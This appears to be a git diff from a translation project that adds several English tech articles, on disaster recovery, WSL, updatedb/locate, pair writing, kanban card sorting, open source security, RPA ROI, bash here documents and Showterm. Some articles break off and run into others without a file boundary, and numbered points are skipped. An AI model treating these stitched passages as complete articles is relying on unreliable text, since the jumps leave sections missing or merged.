"best effort" connection. Instead, you get a specified amount of bandwidth that is dedicated for your use and comes with a SLA. They're not cheap, but as the saying goes, "Fast. Reliable. Cheap. Pick any two." When it's your business on the line and a storm is coming your way, "reliable" has to be one of your two picks. + +### When the storm skies clear + +You can't prepare for all disasters, but you can plan for many of them. With a well-thought-out and tested disaster recovery and business continuity plan that is followed to the letter, your company can stay afloat while your rivals are drowning. + +### Sysadmins vs. disasters: Lessons for leaders + + * How many times must your IT staff say this: Don't just make backups. Test backups. + * No power? No company. Make certain your servers' emergency power is sufficient for your needs and work. + * If your company survives a natural disaster--or dodges one--wise sysadmins know that this is the time to ask management for the disaster recovery budget they've been postponing. Because next time, you might not be so lucky. + + + +-------------------------------------------------------------------------------- + +via: https://www.hpe.com/us/en/insights/articles/it-disaster-recovery-sysadmins-vs-natural-disasters-1711.html + +作者：[Steven-J-Vaughan-Nichols][a] +译者：[译者ID](https://github.com/译者ID) +校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:https://www.hpe.com/us/en/insights/contributors/steven-j-vaughan-nichols.html +[1]:https://www.hpe.com/us/en/insights/articles/what-is-disaster-recovery-really-1704.html +[2]:https://www.reddit.com/r/sysadmin/comments/6wricr/dear_houston_tx_sysadmins/ +[3]:https://www.reddit.com/r/sysadmin/comments/6wricr/dear_houston_tx_sysadmins/dma6gse/ +[4]:https://disastersafety.org/wp-content/uploads/open-for-business-english.pdf +[5]:https://www.fema.gov/protecting-your-businesses +[6]:http://drbenchmark.org/about-us/our-council/ +[7]:https://www.prnewswire.com/news-releases/global-benchmark-study-reveals-73-of-companies-are-unprepared-for-disaster-recovery-248359051.html +[8]:https://www.reddit.com/r/sysadmin/comments/3cob1k/what_does_your_disaster_recovery_plan_look_like/csxh8sn/ +[9]:https://www.hpe.com/us/en/resources/servers/datacenter-trends-challenges.html?jumpid=in_insights~510287587~451research_datacenter~sjvnSysadmin +[10]:http://www.theregister.co.uk/2015/07/12/surviving_hurricane_katrina +[11]:https://theprepared.com/guides/beginners-guide-amateur-ham-radio-preppers/ +[12]:http://www.npr.org/2017/09/29/554600989/amateur-radio-operators-stepped-in-to-help-communications-with-puerto-rico +[13]:http://www8.hp.com/us/en/software/joshua-brusse.html +[14]:https://www.microfocus.com/ +[15]:https://www.reddit.com/r/sysadmin/comments/6wricr/dear_houston_tx_sysadmins/dma87xv/ +[16]:https://www.hpe.com/us/en/insights/articles/my-boss-asked-me-to-do-what-how-to-handle-worrying-work-requests-1710.html +[17]:https://www.hpe.com/us/en/insights/articles/sysadmin-survival-guide-1707.html +[18]:https://www.reddit.com/r/sysadmin/comments/6wk92q/any_houston_admins_executing_their_dr_plans_this/dm8xj0q/ +[19]:https://community.spiceworks.com/how_to/1243-ensure-your-dr-plan-is-ready-for-a-zombie-apocolypse +[20]:http://www.datacenterdynamics.com/content-tracks/security-risk/houston-data-centers-withstand-hurricane-harvey/98867.article +[21]:https://www.datafoundry.com/ +[22]:http://www.datacenterknowledge.com/archives/2012/10/30/major-flooding-nyc-data-centers +[23]:https://datagram.com/ +[24]:https://www.reddit.com/r/sysadmin/comments/6yjb3p/shutting_down_everything_blame_irma/ +[25]:https://www.hpe.com/us/en/insights/articles/everything-you-need-to-know-about-clouds-and-hybrid-it-1701.html +[26]:https://www.drj.com/images/surveys_pdf/forrester/2011Forrester_survey.pdf +[27]:https://www.drj.com +[28]:https://www.reddit.com/r/sysadmin/comments/4x3mmq/datacenter_power_failure_procedures_what_do_yours/d6c71p1/ +[29]:https://www.reddit.com/r/sysadmin/comments/4x3mmq/datacenter_power_failure_procedures_what_do_yours/ +[30]:https://cloudandcolocation.com/datacenters/the-westin-building-seattle-data-center/ +[31]:https://www.techrepublic.com/article/what-to-look-for-in-a-data-center-backup-generator/ +[32]:http://www.datacenterknowledge.com/archives/2012/10/31/peer-1-mobilizes-diesel-bucket-brigade-at-75-broad +[33]:https://www.cogecopeer1.com/ +[34]:https://www.reddit.com/r/sysadmin/comments/7a6m7n/aws_glacier_archival/ +[35]:https://www.reddit.com/r/sysadmin/comments/63mypu/the_dangers_of_cloudberry_and_amazon_glacier_how/ +[36]:https://en.wikiquote.org/wiki/Andrew_S._Tanenbaum +[37]:http://www.snia.org/ltfs +[38]:https://www.reddit.com/r/sysadmin/comments/5visaq/backups_how_many_of_you_still_have_tapes/de2d0qm/ +[39]:https://helpcenter.veeam.com/docs/backup/vsphere/failover.html?ver=95 +[40]:https://www.reddit.com/r/sysadmin/comments/5rttuo/i_love_you_veeam/ +[41]:https://www.reddit.com/r/sysadmin/comments/5rmqfx/ars_surviving_a_cloudbased_disaster_recovery_plan/dd90auv/ +[42]:https://www.hpe.com/us/en/insights/articles/how-do-you-evaluate-cloud-service-agreements-and-slas-very-carefully-1705.html +[43]:http://www.e-vergent.com/what-is-dedicated-internet-access/ diff --git a/sources/tech/20171113 My Adventure Migrating Back To Windows.md b/sources/tech/20171113 My Adventure Migrating Back To Windows.md new file mode 100644 index 0000000000..9356dc8204 --- /dev/null +++ b/sources/tech/20171113 My Adventure Migrating Back To Windows.md @@ -0,0 +1,129 @@ +My Adventure Migrating Back To Windows +====== +I have had linux as my primary OS for about a decade now, and primarily use Ubuntu.

Such as; + + * Most Propriatry Commerical Software is unavailable, E.G Maya, PhotoShop, Microsoft Office (In most cases the alternatives are not on par) + * Most Games are not ported to Linux, including games from major studios like EA, Rockstar Ect. + * Drivers for most hardware is a second thought for the manufacturers when it comes to linux. + + + +Before deciding upon windows I did look at other distributions and operatong systems. + +While doing so I looked more at the "Microsoft Loves Linux" compaign and came across WSL. Their new developer focused angle was interesting to me, so I gave it a try. + +### What I am Looking For in Windows + +I use computers mainly for programming, and I use virtual machines, git , ssh and rely heavily on bash for most of what I do. I also occasionally game, watch netflix and some light office work. + +In short I am looking to keep my current workflow in Ubuntu and transplant it onto Windows. I also want to take advantage of Windows strong points. + + * All PC Games Written For Windows + * Native Support for Most Programs + * Microsoft Office + + + +Now there are caveats with using windows, but I intend to maintain it correctly so I am not worried about the usual windows nasties such as viruses and malware. + +### Windows Subsystem For Linux (Bash on Ubuntu on Windows) + +Microsoft has worked closely with Canonical to bring Ubuntu to Windows. After quickly setting up and launching the program, you have a very familiar bash interface. + +Now I have been looking into the limitations of this, but the only real limitation I hit at the time of writing this article is that it is abstracted away from the hardware.

Here we explain how the important updatedb tool can help. + +### Well Situated + +Incidentally, you might get a little perplexed if trying to look up the manuals for updatedb and the locate command. Even though it's actually the mlocate command and the binary is /usr/bin/updatedb on my filesystem, you probably want to use varying versions of the following man commands to find what you're looking for: +``` +# man locate + + +# man updatedb + + +# man updatedb.conf + +``` + +Let's look at the important updatedb command in a little more detail now. It's worth mentioning that, after installing the locate utility, you will need to initialize your file-list database before doing anything else. You have to do this as the "root" user in order to reach all the relevant areas of your filesystems or the locate command will complain. Initialize or update your database file, whenever you like, with this command: +``` +# updatedb +``` + +Obviously, the first time this command is run it may take a little while to complete, but when I've installed the locate command afresh I've almost always been pleasantly surprised at how quickly it finishes. After a hop, a skip, and a jump, you can immediately query your file database. However, let's wait a moment before doing that. + +We're dutifully informed by its manual that the database created as a result of running updatedb resides at the following location: /var/lib/mlocate/mlocate.db. + +If you want to change how updatedb is run, then you need to affect it with your config file -- a reminder that it should live here: /etc/updatedb.conf. Listing 1 shows the contents of it on my system: +``` +PRUNE_BIND_MOUNTS = "yes" + +PRUNEFS = "9p afs anon_inodefs auto autofs bdev binfmt_misc cgroup cifs coda configfs +cpuset debugfs devpts ecryptfs exofs fuse fusectl gfs gfs2 hugetlbfs inotifyfs iso9660 +jffs2 lustre mqueue ncpfs nfs nfs4 nfsd pipefs proc ramfs rootfs rpc_pipefs securityfs +selinuxfs sfs sockfs sysfs tmpfs ubifs udf usbfs" + +PRUNENAMES = ".git .hg .svn" + +PRUNEPATHS = "/afs /media /net /sfs /tmp /udev /var/cache/ccache /var/spool/cups +/var/spool/squid /var/tmp" +``` + +Listing 1: The innards of the file /etc/updatedb.conf which affects how our database is created. + +The first thing that my eye is drawn to is the PRUNENAMES section. As you can see by stringing together a list of directory names, delimited with spaces, you can suitably ignore them. One caveat is that only directory names can be skipped, and you can't use wildcards. As we can see, all of the otherwise-hidden files in a Git repository (the .git directory might be an example of putting this option to good use. + +If you need to be more specific then, again using spaces to separate your entries, you can instruct the locate command to ignore certain paths. Imagine for example that you're generating a whole host of temporary files overnight which are only valid for one day. You're aware that this is a special directory of sorts which employs a familiar naming convention for its thousands of files. It would take the locate command a relatively long time to process the subtle changes every night adding unnecessary stress to your system. The solution is of course to simply add it to your faithful "ignore" list. + +### Well Appointed + +As seen in Listing 2, the file /etc/mtab offers not just a list of the more familiar filesystems such as /dev/sda1 but also a number of others that you may not immediately remember. +``` +/dev/sda1 /boot ext4 rw,noexec,nosuid,nodev 0 0 + +proc /proc proc rw 0 0 + +sysfs /sys sysfs rw 0 0 + +devpts /dev/pts devpts rw,gid=5,mode=620 0 0 + +/tmp /var/tmp none rw,noexec,nosuid,nodev,bind 0 0 + +none /proc/sys/fs/binfmt_misc binfmt_misc rw 0 0 +``` + +Listing 2: A mashed up example of the innards of the file /etc/mtab. + +Some of the filesystems shown in Listing 2 contain ephemeral content and indeed content that belongs to pseudo-filesystems, so it is clearly important to ignore their files -- if for no other reason than because of the stress added to your system during each overnight update. + +In Listing 1, the PRUNEFS option takes care of this and ditches those not suitable (for most cases). There are a few different filesystems to consider as you can see: +``` +PRUNEFS = "9p afs anon_inodefs auto autofs bdev binfmt_misc cgroup cifs coda configfs +cpuset debugfs devpts ecryptfs exofs fuse fusectl gfs gfs2 hugetlbfs inotifyfs iso9660 jffs2 +lustre mqueue ncpfs nfs nfs4 nfsd pipefs proc ramfs rootfs rpc_pipefs securityfs selinuxfs +sfs sockfs sysfs tmpfs ubifs udf usbfs" +``` + +The updatedb.conf manual succinctly informs us of the following information in relation to the PRUNE_BIND_MOUNTS option: + +"If PRUNE_BIND_MOUNTS is 1 or yes, bind mounts are not scanned by updatedb(8). All file systems mounted in the subtree of a bind mount are skipped as well, even if they are not bind mounts. As an exception, bind mounts of a directory on itself are not skipped." + +Assuming that makes sense, before moving onto some locate command examples, you should note one thing.

But have you tried writing as part of a pair? In this article, I'll explain a few benefits of pair writing. +### What is pair writing? + +Pair writing is when two writers work in real time, on the same piece of text, in the same room. This approach improves document quality, speeds up writing, and allows writers to learn from each other. The idea of pair writing is borrowed from [pair programming][1]. + +When pair writing, you and your colleague work on the text together, making suggestions and asking questions as needed. Meanwhile, you're observing each other's work. For example, while one is writing, the other writer observes details such as structure or context. Often discussion around the document turns into sharing experiences and opinions, and brainstorming about writing in general. + +At all times, the writing is done by only one person. Thus, you need only one computer, unless you want one writer to do online research while the other person does the writing. The text workflow is the same as if you are working alone: a text editor, the documentation source files, git, and so on. + +### Pair writing in practice + +My colleague Aneta Steflova and I have done more than 50 hours of pair writing working on the Red Hat Enterprise Linux System Administration docs and on the Red Hat Identity Management docs. I've found that, compared to writing alone, pair writing: + + * is as productive or more productive; + * improves document quality; + * helps writers share technical expertise; and + * is more fun. + + + +### Speed + +Two writers writing one text? Sounds half as productive, right? Wrong. (Usually.) + +Pair writing can help you work faster because two people have solutions to a bigger set of problems, which means getting blocked less often during the process. For example, one time we wrote urgent API docs for identity management. I know at least the basics of web APIs, the REST protocol, and so on, which helped us speed through those parts of the documentation. Working alone, Aneta would have needed to interrupt the writing process frequently to study these topics. + +### Quality + +Poor wording or sentence structure, inconsistencies in material, and so on have a harder time surviving under the scrutiny of four eyes. For example, one of our pair writing documents was reviewed by an extremely critical developer, who was known for catching technical inaccuracies and bad structure. After this particular review, he said, "Perfect. Thanks a lot." + +### Sharing expertise + +Each of us lives in our own writing bubble, and we normally don't know how others approach writing. Pair writing can help you improve your own writing process. For example, Aneta showed me how to better handle assignments in which the developer has provided starting text (as opposed to the writer writing from scratch using their own knowledge of the subject), which I didn't have experience with. Also, she structures the docs thoroughly, which I began doing as well. + +As another example, I'm good enough at Vim that XML editing (e.g., tags manipulation) is enjoyable instead of torturous. Aneta saw how I was using Vim, asked about it, suffered through the learning curve, and now takes advantage of the Vim features that help me. + +Pair writing is especially good for helping and mentoring new writers, and it's a great way to get to know professionally (and have fun with) colleagues. + +### When pair writing shines + +In addition to benefits I've already listed, pair writing is especially good for: + + * **Working with[Bugzilla][2]** : Bugzillas can be cumbersome and cause problems, especially for administration-clumsy people (like me). + * **Reviewing existing documents** : When documentation needs to be expanded or fixed, it is necessary to first examine the existing document. + * **Learning new technology** : A fellow writer can be a better teacher than an engineer. + * **Writing emails/requests for information to developers with well-chosen questions** : The difficulty of this task rises in proportion to the difficulty of technology you are documenting. + + + +Also, with pair writing, feedback is in real time, as-needed, and two-way. + +On the downside, pair writing can be a faster pace, giving a writer less time to mull over a topic or wording. On the other hand, generally peer review is not necessary after pair writing. + +### Words of caution + +To get the most out of pair writing: + + * Go into the project well prepared, otherwise you can waste your colleague's time. + * Talkative types need to stay focused on the task, otherwise they end up talking rather than writing. + * Be prepared for direct feedback. Pair writing is not for feedback-allergic writers. + * Beware of session hijackers. Dominant personalities can turn pair writing into writing solo with a spectator. (However, it _can _ be good if one person takes over at times, as long as the less-experienced partner learns from the hijacker, or the more-experienced writer is providing feedback to the hijacker.) + + + +### Conclusion + +Pair writing is a meeting, but one in which you actually get work done. It's an activity that lets writers focus on the one indispensable thing in our vocation--writing. + +_This post was written with the help of pair writing with Aneta Steflova._ + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/17/11/try-pair-writing + +作者：[Maxim Svistunov][a] +译者：[译者ID](https://github.com/译者ID) +校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:https://opensource.com/users/maxim-svistunov +[1]:https://developer.atlassian.com/blog/2015/05/try-pair-programming/ +[2]:https://www.bugzilla.org/ diff --git a/sources/tech/20171115 How to create better documentation with a kanban board.md b/sources/tech/20171115 How to create better documentation with a kanban board.md new file mode 100644 index 0000000000..c07bef3bbb --- /dev/null +++ b/sources/tech/20171115 How to create better documentation with a kanban board.md @@ -0,0 +1,43 @@ +How to create better documentation with a kanban board +====== +![](https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/open%20source_collaboration.png?itok=68kU6BHy) +If you're working on documentation, a website, or other user-facing content, it's helpful to know what users expect to find--both the information they want and how the information is organized and structured. After all, great content isn't very useful if people can't find what they're looking for. + +Card sorting is a simple and effective way to gather input from users about what they expect from menu interfaces and pages. The simplest implementation is to label a stack of index cards with the sections you plan to include in your website or documentation and ask users to sort the cards in the way they would look for the information. Variations include letting people write their own menu headers or content elements. + +The goal is to learn what your users expect and where they expect to find it, rather than having to figure out your menu and layout on your own. This is relatively straightforward when you have users in the same physical location, but it's more challenging when you are trying to get feedback from people in many locations. + +I've found [kanban][1] boards are a great tool for these situations. They allow people to easily drag virtual cards around to categorize and rank them, and they are multi-purpose, unlike dedicated card-sorting software. + +I often use Trello for card sorting, but there are several [open source alternatives][2] that you might want to try. + +### How it works + +My most successful kanban experiment was when I was working on documentation for [Gluster][3], a free and open source scalable network-attached storage filesystem. I needed to take a large pile of documentation that had grown over time and break it into categories to create a navigation system. BEcause I didn't have the technical knowledge necessary to sort it, I turned to the Gluster team and developer community for guidance. + +First, I created a shared Kanban board. I gave the columns general names that would enable sorting and created cards for all the topics I planned to cover in the documentation. I flagged some cards with different colors to indicate either a topic was missing and needed to be created, or it was present and needed to be removed. Then I put all the cards into an "unsorted" column and asked people to drag them where they thought the cards should be organized and send me a screen capture of what they thought was the ideal state. + +Dealing with all the screen captures was the trickiest part. I wish there was a merge or consensus feature that would've helped me aggregate everyone's data, rather than having to examine a bunch of screen captures. Fortunately, after the first person sorted the cards, people more or less agreed on the structure and made only minor modifications. When opinions differed on a topic's placement, I set up flash meetings where people could explain their thinking and we could hash out the disagreements. + +### Using the data + +From here, it was easy to convert the information I captured into menus and refine it. If users thought items should become submenus, they usually told me in comments or when we talked on the phone. Perceptions of menu organization vary depending upon people's job tasks, so you never have complete agreement, but testing with users means you won't have as many blind spots about what people use and where they will look for it. + +Pairing card sorting with analytics gives you even more insight on what people are looking for. Once, when I ran analytics on some training documentation I was working on, I was surprised that to learn that the most searched page was about title capitalization. So I surfaced that page at the top-menu level, even though my "logical" setting put it far down in a sub-menu. + +I've found kanban card-sorting a great way to help me create content that users want to see and put it where they expect to find it. Have you found another great way to organize your content for users' benefit? Or another interesting use for kanban boards? If so, please share your thoughts in the comments. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/17/11/kanban-boards-card-sorting + +作者：[Heidi Waterhouse][a] +译者：[译者ID](https://github.com/译者ID) +校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:https://opensource.com/users/hwaterhouse +[1]:https://en.wikipedia.org/wiki/Kanban +[2]:https://opensource.com/alternatives/trello +[3]:https://www.gluster.org/ diff --git a/sources/tech/20171116 10 easy steps from proprietary to open source.md b/sources/tech/20171116 10 easy steps from proprietary to open source.md new file mode 100644 index 0000000000..4e085872a5 --- /dev/null +++ b/sources/tech/20171116 10 easy steps from proprietary to open source.md @@ -0,0 +1,79 @@ +10 easy steps from proprietary to open source +====== +"But surely open source software is less secure, because everybody can see it, and they can just recompile it and replace it with bad stuff they've written." Hands up: who's heard this?1 + +When I talk to customers--yes, they let me talk to customers sometimes--and to folks in the field2 this comes up quite frequently. In a previous article, "[Review by many eyes does not always prevent buggy code][1]", I talked about how open source software--particularly security software--isn't magically more secure than proprietary software, but I'd still go with open source over proprietary every time. But the way I've heard the particular question--about open source software being less secure--suggests that sometimes it's not enough to just explain that open source needs work, but we must also actively engage in [apologetics][2]3. + +So here goes.

Fourth, there are extremely intelligent, gifted, and dedicated architects, designers, and software engineers who create proprietary software. + +But here's the rub: fifth, there is a limited pool of people who will work on or otherwise look at proprietary software.

Seventh (and I love this one), the pool also includes many of the people writing the proprietary software. Eighth, many of the applications being written by public sector and government organisations are open sourced anyway. + +Ninth, if you're worried about running open source software that is unsupported or comes from dodgy, un-provenanced sources, then good news: There are a bunch of organisations7 who will check the provenance of that code, support, maintain, and patch it. They'll do it along the same type of business lines that you'd expect from a proprietary software provider. You can also ensure that the software you get from them is the right software: Their standard technique is to sign bundles of software so you can verify that what you're installing isn't from some random bad person who's taken that code and done Bad Things™ with it. + +Tenth (and here's the point of this article), when you run open source software, when you test it, when you provide feedback on issues, when you discover errors and report them, you are tapping into--and adding to--the commonwealth of knowledge and expertise and experience that is open source, which is made only greater by your doing so. If you do this yourself, or through one of the businesses that support open source software8, you are part of this commonwealth. Things get better with open source software, and you can see them getting better. Nothing is hidden--it's, well, open. Can things get worse? Yes, they can, but we can see when that happens and fix it. + +This commonwealth does not apply to proprietary software: what stays hidden does not enlighten or enrich the world. + +I know that I need to be careful about the use of the "commonwealth" as a Briton; it has connotations of (faded…) empires, which I don't intend in this case. It's probably not what Cromwell9 had in mind when he talked about the "Commonwealth," either, and anyway, he's a somewhat controversial historical figure. What I'm talking about is a concept in which I think the words deserve concatenation--"common" and "wealth"--to show that we're talking about something more than just money, but shared wealth available to all of humanity. + +I really believe in this.

COOs and operations teams (and indeed, other business functions) are thrilled at the prospect of being able to redefine how costs have historically increased as work volume rose. + +Robotic process automation (RPA) seems to promise the Holy Grail to operations: "Our platform provides out-of-box features to meet most of your daily process needs - checking email, saving attachments, getting data, updating forms, generating reports, file and folder operations. Building bots can be as easy as configuring these features and chaining them together, rather than asking IT to build them." It's a seductive conversation. + +Lower cost, fewer errors, better compliance with procedures - the benefits seem real and achievable to COOs and operations leaders. The fact that RPA tools promise to pay for themselves from the operational savings (with short payback periods) makes the business case even more attractive. + +Automation conversations tend to follow a similar script: COOs and their teams want to know how automating operations can benefit them. They want to know about RPA platform features and capabilities, and they want to see real-world examples of automation in action. The journey from this point to a proof-of-concept implementation is often short. + +**[ For advice on implementing AI technology, see our related article, [Crafting your AI strategy: 3 tips][1]. ]** + +But the reality of automation benefits can sometimes lag behind expectations. Companies that adopt RPA may find themselves questioning its ROI after implementation. Some express disappointment about not seeing the expected savings, and confusion as to why. + +## Are you automating the wrong things? + +What could explain the gap between the promise and reality of operational automation in these cases? To analyze this, let's explore what typically happens after the decision to proceed with an automation proof-of-concept project (or a full-blown implementation, even) has been made. + +After deciding that automation is the path to take, the COO typically asks operational leaders and their teams to decide which processes or tasks should be automated. While participation should be encouraged, this type of decision-making sometimes leads to sub-optimal choices in automation candidates. There are a few reasons for this: + +First, team leaders often have a "narrow field of deep vision:" They know their processes and tasks well, but might not be deeply familiar with those that they do not participate in (especially if they have not had wide operations exposure). This means that they are able to identify good automation candidates within their own scope of work, but not necessarily across the entire operations landscape. Softer factors like "I want my process to be picked as the first automation candidate" can also come into play. + +Second, candidate process selection can sometimes be driven by matching automation features and capabilities rather than by the value of automation. A common misunderstanding is that any task that includes activities like email or folder monitoring, downloads, calculations, etc. is automatically a good candidate for automation. If automating such tasks doesn't provide value to the organization, they are not the right candidates. + +So what can leaders do to ensure that their automation implementation delivers the ROI they are seeking? Take these four steps, up front: + +## 1. Educate your teams + +It's very likely that people in your operations team, from the COO downward, have heard of RPA and operational automation. It's equally likely that they have many questions and concerns. It is critical to address these issues before you start your implementation. + +Proactively educating the operations team can go a long way in drumming up enthusiasm and buy-in for automation. Training can focus on what automation and bots are, what role they play in a typical process, which processes and tasks are best positioned for automation, and what the expected benefits of automation are. + +**Recommendation** : Ask your automation partner to conduct these team education sessions, with your moderation: They will likely be eager to assist. The leadership should shape the message before it is delivered to the broader team. + +"The first step in automation is to get to know your processes better." + +## 2. Examine your internal processes + +The first step in automation is to get to know your processes better. Every RPA implementation should be preceded by a process inventory, activity analysis, and cost/value mapping exercise. + +It's critical to understand where the value add (or cost, if value is unavailable) happens in the process. And this needs to be done at a granular level for each process or every task. + +This will help you identify and prioritize the right candidates for automation. Because of the sheer number of tasks that can or may need to be automated, processes typically get automated in phases, so prioritization is key. + +**Recommendation** : Set up a small working team, with participation from each group within Operations. Nominate a coordinator from each group - typically a group leader or team manager. Conduct a workshop at the group level to build the process inventory, identify candidate processes, and drive buy-in. Your automation partners are likely to have accelerators - questionnaires, scorecards etc. - that can help you speed up this activity. + +## 3. Provide strong direction on business priorities + +Implementations often involve driving consensus (and sometimes tie-breaking) between operations teams on process selection and automation priorities, based on business value. Though team participation remains a critical part of the analysis and implementation exercises, leaders should own final decision-making. + +**Recommendation** : Schedule regular sessions to get updates from the working teams. In addition to factors like driving consensus and buy-in, teams will also look to leaders for directional decisions on ROI, platform selection, and automation prioritization at the group level. + +## 4. CIO and COO should drive close cooperation + +Automation rollouts are much smoother when there is close cooperation between the operations and technology teams. The COO needs to help drive this coordination with the CIO's team. + +Involvement and oversight of the COO and other operations leaders are critical for successful automation implementations. + +**Recommendation** : The COO and CIO team should set up a joint working group (a "war room") with the third-party automation partners. Responsibilities for each participant should be clearly demarcated and tracked on an ongoing basis. Ideally, the COO and CIO should dedicate at least one resource to the group, at least during the initial rollouts. + +Automation can create significant value for an organization. However, to achieve optimal returns on the investment in their automation journey, CIOs must map before they leap. + +-------------------------------------------------------------------------------- + +via: https://enterprisersproject.com/article/2017/11/how-improve-roi-automation-4-tips + +作者：[Rajesh Kamath][a] +译者：[译者ID](https://github.com/译者ID) +校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:https://enterprisersproject.com/user/rajesh-kamath +[1]:https://enterprisersproject.com/article/2017/11/crafting-your-ai-strategy-3-tips?sc_cid=70160000000h0aXAAQ diff --git a/sources/tech/20171116 How to use a here documents to write data to a file in bash script.md b/sources/tech/20171116 How to use a here documents to write data to a file in bash script.md new file mode 100644 index 0000000000..12d15af78f --- /dev/null +++ b/sources/tech/20171116 How to use a here documents to write data to a file in bash script.md @@ -0,0 +1,203 @@ +How to use a here documents to write data to a file in bash script +====== + +A here document is nothing but I/O redirection that tells the bash shell to read input from the current source until a line containing only delimiter is seen. +[![redirect output of here document to a text file][1]][1] +This is useful for providing commands to ftp, cat, echo, ssh and many other useful Linux/Unix commands.

However, you are very likely to end up with an oversized video file. There are several terminal recorders available in Linux, each with its own strengths and weakness. Showterm is a tool that makes it pretty easy to record terminal sessions, upload them, share, and embed them in any web page. On the plus side, you don't end up with any huge file to deal with. + +Showterm is open source, and the project can be found on this [GitHub page][1]. + + **Related** : [2 Simple Applications That Record Your Terminal Session as Video [Linux]][2] + +### Installing Showterm for Linux + +Showterm requires that you have Ruby installed on your computer.

From the command line run `showterm`. This should start the terminal recording in the background. All commands entered in the command line from hereon are recorded by Showterm. Once you are done recording, press Ctrl + D or type `exit` in the command line to stop your recording. + +Showterm should upload your video and output a link to the video that looks like http://showterm.io/. It is rather unfortunate that terminal sessions are uploaded right away without any prompting. Don't panic! You can delete any uploaded recording by entering `showterm --delete `. Before uploading your recordings, you'll have the chance to change the timing by adding the `-e` option to the showterm command. If by any chance a recording fails to upload, you can use `showterm --retry
